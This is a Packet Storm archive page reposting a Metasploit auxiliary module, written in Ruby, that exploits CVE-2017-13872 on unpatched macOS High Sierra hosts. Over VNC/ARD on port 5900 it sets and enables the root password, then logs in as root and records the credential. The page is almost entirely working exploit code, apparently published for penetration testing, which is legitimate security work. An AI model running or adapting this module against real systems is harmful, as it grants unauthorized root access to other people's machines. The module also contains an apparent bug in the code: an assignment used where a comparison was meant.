exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Apple Remote Desktop Root

Apple Remote Desktop Root
Posted Sep 1, 2024
Authored by jgor | Site metasploit.com

Enable and set root account to a chosen password on unpatched macOS High Sierra hosts with either Screen Sharing or Remote Management enabled.

tags | exploit, remote, root
advisories | CVE-2017-13872
SHA-256 | 93618f0baeb5c0e067ea241b7e1873b7821075be229823de87b392c83e276231

Apple Remote Desktop Root

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner

def initialize
super(
'Name' => 'Apple Remote Desktop Root Vulnerability',
'Description' => 'Enable and set root account to a chosen password on unpatched macOS High Sierra hosts with either Screen Sharing or Remote Management enabled.',
'References' =>
[
['CVE', '2017-13872'],
['URL', 'https://support.apple.com/en-us/HT208315']
],
'Author' => 'jgor',
'License' => MSF_LICENSE
)

register_options(
[
Opt::RPORT(5900),
OptString.new('PASSWORD', [false, 'Set root account to this password', ''])
])
end

def log_credential(password)
print_good("Login succeeded - root:#{password}")

service_data = {
address: target_host,
port: rport,
service_name: 'vnc',
protocol: 'tcp',
workspace_id: myworkspace_id
}

credential_data = {
module_fullname: self.fullname,
origin_type: :service,
username: 'root',
private_data: password,
private_type: :password
}.merge(service_data)

credential_core = create_credential(credential_data)

login_data = {
core: credential_core,
last_attempted_at: DateTime.now,
status: Metasploit::Model::Login::Status::SUCCESSFUL
}.merge(service_data)

create_credential_login(login_data)
end

def run_host(target_host)
begin
if datastore['PASSWORD'].empty?
password = Rex::Text::rand_text_alphanumeric(16)
else
password = datastore['PASSWORD']
end

connect
vnc = Rex::Proto::RFB::Client.new(sock)
if vnc.handshake
type = vnc.negotiate_authentication
unless type = Rex::Proto::RFB::AuthType::ARD
print_error("VNC server does not advertise security type ARD.")
return
end
print_status("Attempting authentication as root.")
if vnc.authenticate_with_type(type, 'root', password)
log_credential(password)
return
end
else
print_error("VNC handshake failed.")
return
end
disconnect

connect
vnc = Rex::Proto::RFB::Client.new(sock)
print_status("Testing login as root with chosen password.")
if vnc.handshake
if vnc.authenticate_with_user('root', password)
log_credential(password)
return
end
else
print_error("VNC handshake failed.")
return
end
disconnect

connect
vnc = Rex::Proto::RFB::Client.new(sock)
print_status("Testing login as root with empty password.")
if vnc.handshake
if vnc.authenticate_with_user('root', '')
log_credential('')
return
end
else
print_error("VNC handshake failed.")
return
end

ensure
disconnect
end

end
end
Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    17 Files
  • 8
    Oct 8th
    66 Files
  • 9
    Oct 9th
    25 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    21 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close